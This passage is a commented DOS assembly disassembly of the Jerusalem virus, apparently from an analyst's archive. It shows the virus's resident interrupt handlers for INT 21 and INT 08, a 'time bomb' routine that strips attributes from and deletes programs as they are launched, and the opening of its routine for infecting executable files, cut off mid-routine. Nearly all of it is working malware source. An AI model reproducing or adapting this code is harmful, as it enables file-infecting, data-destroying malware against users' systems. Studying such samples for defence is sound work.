📄 jerusale.asm
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POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
PUSH CX ;*** COMMENTS SOLICITED ****
PUSH SI ;
MOV CX,4001H ;
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECTION PROCESS OCCURS HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
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